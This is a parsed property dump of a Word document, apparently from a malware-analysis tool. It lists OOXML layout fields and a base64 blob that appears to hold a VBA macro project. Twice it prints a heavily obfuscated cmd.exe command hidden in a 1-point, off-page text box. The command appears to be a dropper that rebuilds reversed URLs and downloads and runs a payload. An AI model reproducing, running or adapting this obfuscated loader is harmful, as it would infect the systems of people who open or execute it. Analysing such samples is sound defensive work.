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 AAAABwAAAAgAAAAWpU9qaAAAgA== |
| PackagePartXmlDataDocumentBodySectPrDocGridLinePitch: | 360 |
| PackagePartXmlDataDocumentBodySectPrColsSpace: | 720 |
| PackagePartXmlDataDocumentBodySectPrPgMarGutter: | - |
| PackagePartXmlDataDocumentBodySectPrPgMarFooter: | 720 |
| PackagePartXmlDataDocumentBodySectPrPgMarHeader: | 720 |
| PackagePartXmlDataDocumentBodySectPrPgMarLeft: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgMarBottom: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgMarRight: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgMarTop: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgSzH: | 15840 |
| PackagePartXmlDataDocumentBodySectPrPgSzW: | 12240 |
| PackagePartXmlDataDocumentBodySectPrRsidR: | 00005EB7 |
| PackagePartXmlDataDocumentBodyPRT: | |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeTextboxTxbxContentPRT: | cmd /c %LOCalAPpdaTA:~ -3,-2%^M%SysTEmrOoT:~ +6, +1%; ; ; ; /V:^o^ ; /%appDATa:~-7, 1%";;(s^et ^ ^ t8V^b=6cg X7W^ 2qL TnE 7DW^ hGp z^X^y t3^o o2u ^bhc ^TFw ^2S^E IDV^ E^5k^ ^6u9 16l ^tG NH^A^}^5QZ}Wav{AVeh^QJIcqyI^tI^UX^aYDhcmMi^}Bg^o^kG3XaqPk^eMhbrrswbjyS^;W9mFqiUi^4E^g^sF^Sc$u^Ja^ BYes^ljNs^J^6^Ae9NOcJhF^omGWrgevPnbf-ZGctYk^KrP7Each^gt^W^PUSQlv^;nM ^)J^e^1^FKol^i1BG^sN 6^$^MCa^(^K^8meVgvlCL8^i^uYa^f^I5voL8r^tn78eis^Wv2uv^aHGc^s^s^ R.T^X^fSdD^zML^qV^Tc8G$3^tZ^;UR^D^)Tm ^yRQgdn^0^ZoENhBS^Qt^e^BY9sY^LCnUW oG^xtpyRWsWb0e^GsurGNn.CfHSSUNjUi5wYZh$DdL^(I5Reb2Ttj l^iNesr6^LQ^wE7J.8raSk8nMQFgT cM$Q^Eq;wuq1cu6 tq^P=WN5 n^Ao^ef2Ap^OsL^y^9Ns^txCb.^SQ^OSj^hP^M7kCT^SB7$NDj^;^xVA^)B^GL^(gYCnwTceMb4pLVx^o^Kwd.J9USTDCMa2v^Tx^av$n^W^z;^PH^j^)^2^9p^(^gQPdijnnE^eBeqjgsarg^.H^1lS0^4Djtx1w7g^4$^xuy^;n31^)^g^YZ0uq^L,NCOCZ^M ^JL^I^aPz^38$PIc^,e2^b'^lVs^TNGIEVYnGgyA^'8t9^(6Jqn6rR^e6EJpXd7^oRUn^.C^FyS1daj^94^PwCwv$fGP^{^gWV^y3^lNrHI8tPac{Q2C^)r^D4rpj0d0tS^q^z60^$Erm X^dmn^GoB^izM^O 3a^dCKrOJ^pA^w^PJoN$^afV^(k^YEhY^Djc^USp^a8^oceOKdr^F^8nolrWf^Qlq;^zZi'v7Dm^QxFau^dKe^IPerDMm^t^XBM^sY^Ic.^wrUbgf8d^xJSoMcT^dk^gn^a5KM'lnM C8^Um6^Ee^oeBzcp^Kh-D^uv^ oC^btI^Oqc^qjweWI^ijknQb^s^SwO3dj^-^P^JO^wXv eV^iPNJ^ n skv^=WzE ^H4rSM2k^M^evpTtiP^$haU;i07'vnlpBro^tbSNtA0Wh^h^bMl^08u^mi7HxqYJ^.Qu7^2U5L^ly^7^U^mWq^7x^h^xE^sdKvm5Tw'u^SJ xpH^mm IoE4Bcx^mu^-^1Bx^ R8H^tQ92cAGfeTzw^j6^37bv^HNOSaR- qt^waK9eBY^2NCys^=ocU 0XcS^x^B8j kW^wNj8^$qyC;R^3g^)DxS'^i0HeKX4x^Q^0AeFr^d.^Hdl^lO^zNESo^XzDHl\J^5d'^jnK^+^XsZ^)HOG^(gcOhl^bGt^xaO^aHpLP6HS^p^7TA^mQ^jretf^0TuoOtC8^H^eP3^FGxR^g:V^if:iV^G]^DYThK^d4tYd^iaR^h^1Pe84^.^Lu^O^O8wPI653^.yj^qm^OuheG^Qkt^i^ y^sptTyVis^S7YH^[rHg^(LZ^w=9gu^F^qw^LiEeCsZro$L3h;5Q^9^)w^K^t'i^3^U@2aI^'^dZ^f^(lLvtvJ^WisU^Dl^PlSpIdYS^7i^w^.M^pI'PVFXY^Ia^0vjVH^MKeFSuI^i^obsGmO8zt^a^b/V^6hmJDAobEucAeN.dm^O^e^ogZnK^xni4^qZ^l8^eaaav7k^J^YfrGuOumZOt^W^i^m/nqv/5Cq:20^y^pV^eNt^weh^tHNihoO^Q@^EvI8HvnubifGHV^gaD4ST^pNB4ke3Rm nm^iuXmn^tR/R5Fo^JtIcrpg. CT^e^O^sEd4^XqrsTle^LSrvf^6^oaG^DErvExo9U7lc58p^E^zrxYkLeR6J/q^yF/^zr7:^gkc^pXS^jto^kttwn4^hEXn@wtNSY^9S7^b^D^sItq0^0s4DvItFy^ ^Hpax^u6VnMrmG4N/koUnbl9v^9cj.c^3nuxD^EdUZK^eP^9g.SaNuRUY^iNYRmOCqcXrc^h6^8x.^ GHhjOJtI^Tw^uV3Jo86Fy^Ucnu^2Poijm^7/^q^A^K/e^63:^zlK^p^ZE5t6fntEL^Ph^XoZ@eEymQxN^I^2giv^eSyy^B^MYDULi^GsRtPcMa^jlh^e/T^hU^uV^XkrK^p7.^P^md^sp0^togHOt^Q^eNodx^ohiXRpLx^Hyn^3Znz^Jr^o^g^QleY^jEpG^OveT^yoleHqtRW6tyJWiG70l^9Ai/WQ^u/ud^X:Vi^Ap3Qrtq^w^Xt49Vh^Izc@Y^IvpEIL^Inr^z^AdTwi^khCTwbA5D^S^eBy^T67^8O^I^JVR^H/yc3m0rKoz7dcWQ^0.3t^T^hCpXt6^5HuJ5rr^j^zG^t82^IdYw^hnvfsaIqD^tSj8iocWrStxik^ImppEf^szD1rA^SHa^y^3^H^zYC9nCF axfXdFKT/TJN/^5^FX:1z^4p^oq^ t^4R^OtWnChO^L4'14z=^Qi^KrO 3d7oYqM5A^$rV^T;hTi'^e6^SL7e^J^kMl I^TRE^'P1V=4M9q 2lbwmNfmv5$^dR^I^ kZE^lj^7ol0b5^erbF^hG^X^os^hy^brC^5YeOdP^wVn5oXz^Ip)&& ;; f^or;; ; /^l ;%^m ;; IN ; ; ( ^2^14^3^ ^ -4 3);; ^do ; ( ; ; Se^T ^yN5H=!^yN5H!!t8V^b:~ %^m, 1!)&;;^if; ;; %^m;; ;;=^= ; ;3 ;(caL^l; %^yN5H:*yN^5H^!^=% )" |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeTextboxTxbxContentPRsidRDefault: | 00991441 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeTextboxTxbxContentPRsidR: | 00991441 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeTextboxTxbxContentPTextId: | 1F9C5E07 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeTextboxTxbxContentPParaId: | 27D6756C |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeFillDetectmouseclick: | t |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeStrokeweight: | .5pt |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeFilled: | f |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeGfxdata: | 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 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeStyle: | position:absolute;margin-left:-1in;margin-top:-71pt;width:1pt;height:1pt;z-index:251659264;visibility:visible;mso-wrap-style:square;mso-wrap-distance-left:9pt;mso-wrap-distance-top:0;mso-wrap-distance-right:9pt;mso-wrap-distance-bottom:0;mso-position-horizontal:absolute;mso-position-horizontal-relative:text;mso-position-vertical:absolute;mso-position-vertical-relative:text;v-text-anchor:top |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeType: | #_x0000_t202 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeSpid: | _x0000_s1026 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapeId: | EnccGUVMiEjN |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypePathConnecttype: | rect |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypePathGradientshapeok: | t |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypeStrokeJoinstyle: | miter |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypePath: | m,l,21600r21600,l21600,xe |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypeSpt: | 202 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypeCoordsize: | 21600,21600 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypeId: | _x0000_t202 |
| PackagePartXmlDataDocumentBodyPRAlternateContentFallbackPictShapetypeAnchorId: | 75F6BDE9 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrNoAutofit: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrPrstTxWarpAvLst: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrPrstTxWarpPrst: | textNoShape |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrCompatLnSpc: | 1 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrForceAA: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrAnchorCtr: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrAnchor: | t |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrFromWordArt: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrRtlCol: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrSpcCol: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrNumCol: | 1 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrBIns: | 45720 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrRIns: | 91440 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrTIns: | 45720 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrLIns: | 91440 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrWrap: | square |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrVert: | horz |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrHorzOverflow: | overflow |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrVertOverflow: | overflow |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrSpcFirstLastPara: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspBodyPrRot: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspTxbxTxbxContentPRT: | cmd /c %LOCalAPpdaTA:~ -3,-2%^M%SysTEmrOoT:~ +6, +1%; ; ; ; /V:^o^ ; /%appDATa:~-7, 1%";;(s^et ^ ^ t8V^b=6cg X7W^ 2qL TnE 7DW^ hGp z^X^y t3^o o2u ^bhc ^TFw ^2S^E IDV^ E^5k^ ^6u9 16l ^tG NH^A^}^5QZ}Wav{AVeh^QJIcqyI^tI^UX^aYDhcmMi^}Bg^o^kG3XaqPk^eMhbrrswbjyS^;W9mFqiUi^4E^g^sF^Sc$u^Ja^ BYes^ljNs^J^6^Ae9NOcJhF^omGWrgevPnbf-ZGctYk^KrP7Each^gt^W^PUSQlv^;nM ^)J^e^1^FKol^i1BG^sN 6^$^MCa^(^K^8meVgvlCL8^i^uYa^f^I5voL8r^tn78eis^Wv2uv^aHGc^s^s^ R.T^X^fSdD^zML^qV^Tc8G$3^tZ^;UR^D^)Tm ^yRQgdn^0^ZoENhBS^Qt^e^BY9sY^LCnUW oG^xtpyRWsWb0e^GsurGNn.CfHSSUNjUi5wYZh$DdL^(I5Reb2Ttj l^iNesr6^LQ^wE7J.8raSk8nMQFgT cM$Q^Eq;wuq1cu6 tq^P=WN5 n^Ao^ef2Ap^OsL^y^9Ns^txCb.^SQ^OSj^hP^M7kCT^SB7$NDj^;^xVA^)B^GL^(gYCnwTceMb4pLVx^o^Kwd.J9USTDCMa2v^Tx^av$n^W^z;^PH^j^)^2^9p^(^gQPdijnnE^eBeqjgsarg^.H^1lS0^4Djtx1w7g^4$^xuy^;n31^)^g^YZ0uq^L,NCOCZ^M ^JL^I^aPz^38$PIc^,e2^b'^lVs^TNGIEVYnGgyA^'8t9^(6Jqn6rR^e6EJpXd7^oRUn^.C^FyS1daj^94^PwCwv$fGP^{^gWV^y3^lNrHI8tPac{Q2C^)r^D4rpj0d0tS^q^z60^$Erm X^dmn^GoB^izM^O 3a^dCKrOJ^pA^w^PJoN$^afV^(k^YEhY^Djc^USp^a8^oceOKdr^F^8nolrWf^Qlq;^zZi'v7Dm^QxFau^dKe^IPerDMm^t^XBM^sY^Ic.^wrUbgf8d^xJSoMcT^dk^gn^a5KM'lnM C8^Um6^Ee^oeBzcp^Kh-D^uv^ oC^btI^Oqc^qjweWI^ijknQb^s^SwO3dj^-^P^JO^wXv eV^iPNJ^ n skv^=WzE ^H4rSM2k^M^evpTtiP^$haU;i07'vnlpBro^tbSNtA0Wh^h^bMl^08u^mi7HxqYJ^.Qu7^2U5L^ly^7^U^mWq^7x^h^xE^sdKvm5Tw'u^SJ xpH^mm IoE4Bcx^mu^-^1Bx^ R8H^tQ92cAGfeTzw^j6^37bv^HNOSaR- qt^waK9eBY^2NCys^=ocU 0XcS^x^B8j kW^wNj8^$qyC;R^3g^)DxS'^i0HeKX4x^Q^0AeFr^d.^Hdl^lO^zNESo^XzDHl\J^5d'^jnK^+^XsZ^)HOG^(gcOhl^bGt^xaO^aHpLP6HS^p^7TA^mQ^jretf^0TuoOtC8^H^eP3^FGxR^g:V^if:iV^G]^DYThK^d4tYd^iaR^h^1Pe84^.^Lu^O^O8wPI653^.yj^qm^OuheG^Qkt^i^ y^sptTyVis^S7YH^[rHg^(LZ^w=9gu^F^qw^LiEeCsZro$L3h;5Q^9^)w^K^t'i^3^U@2aI^'^dZ^f^(lLvtvJ^WisU^Dl^PlSpIdYS^7i^w^.M^pI'PVFXY^Ia^0vjVH^MKeFSuI^i^obsGmO8zt^a^b/V^6hmJDAobEucAeN.dm^O^e^ogZnK^xni4^qZ^l8^eaaav7k^J^YfrGuOumZOt^W^i^m/nqv/5Cq:20^y^pV^eNt^weh^tHNihoO^Q@^EvI8HvnubifGHV^gaD4ST^pNB4ke3Rm nm^iuXmn^tR/R5Fo^JtIcrpg. CT^e^O^sEd4^XqrsTle^LSrvf^6^oaG^DErvExo9U7lc58p^E^zrxYkLeR6J/q^yF/^zr7:^gkc^pXS^jto^kttwn4^hEXn@wtNSY^9S7^b^D^sItq0^0s4DvItFy^ ^Hpax^u6VnMrmG4N/koUnbl9v^9cj.c^3nuxD^EdUZK^eP^9g.SaNuRUY^iNYRmOCqcXrc^h6^8x.^ GHhjOJtI^Tw^uV3Jo86Fy^Ucnu^2Poijm^7/^q^A^K/e^63:^zlK^p^ZE5t6fntEL^Ph^XoZ@eEymQxN^I^2giv^eSyy^B^MYDULi^GsRtPcMa^jlh^e/T^hU^uV^XkrK^p7.^P^md^sp0^togHOt^Q^eNodx^ohiXRpLx^Hyn^3Znz^Jr^o^g^QleY^jEpG^OveT^yoleHqtRW6tyJWiG70l^9Ai/WQ^u/ud^X:Vi^Ap3Qrtq^w^Xt49Vh^Izc@Y^IvpEIL^Inr^z^AdTwi^khCTwbA5D^S^eBy^T67^8O^I^JVR^H/yc3m0rKoz7dcWQ^0.3t^T^hCpXt6^5HuJ5rr^j^zG^t82^IdYw^hnvfsaIqD^tSj8iocWrStxik^ImppEf^szD1rA^SHa^y^3^H^zYC9nCF axfXdFKT/TJN/^5^FX:1z^4p^oq^ t^4R^OtWnChO^L4'14z=^Qi^KrO 3d7oYqM5A^$rV^T;hTi'^e6^SL7e^J^kMl I^TRE^'P1V=4M9q 2lbwmNfmv5$^dR^I^ kZE^lj^7ol0b5^erbF^hG^X^os^hy^brC^5YeOdP^wVn5oXz^Ip)&& ;; f^or;; ; /^l ;%^m ;; IN ; ; ( ^2^14^3^ ^ -4 3);; ^do ; ( ; ; Se^T ^yN5H=!^yN5H!!t8V^b:~ %^m, 1!)&;;^if; ;; %^m;; ;;=^= ; ;3 ;(caL^l; %^yN5H:*yN^5H^!^=% )" |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspTxbxTxbxContentPRsidRDefault: | 00991441 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspTxbxTxbxContentPRsidR: | 00991441 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspTxbxTxbxContentPTextId: | 1F9C5E07 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspTxbxTxbxContentPParaId: | 27D6756C |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrLnSolidFillPrstClrVal: | black |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrLnW: | 6350 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrNoFill: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrPrstGeomAvLst: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrPrstGeomPrst: | rect |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrXfrmExtCy: | 12700 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrXfrmExtCx: | 12700 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrXfrmOffY: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspSpPrXfrmOffX: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataWspCNvSpPrTxBox: | 1 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorGraphicGraphicDataUri: | http://schemas.microsoft.com/office/word/2010/wordprocessingShape |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorCNvGraphicFramePr: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorDocPrName: | EnccGUVMiEjN |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorDocPrId: | 1 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorWrapNone: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorEffectExtentB: | 25400 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorEffectExtentR: | 25400 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorEffectExtentT: | - |
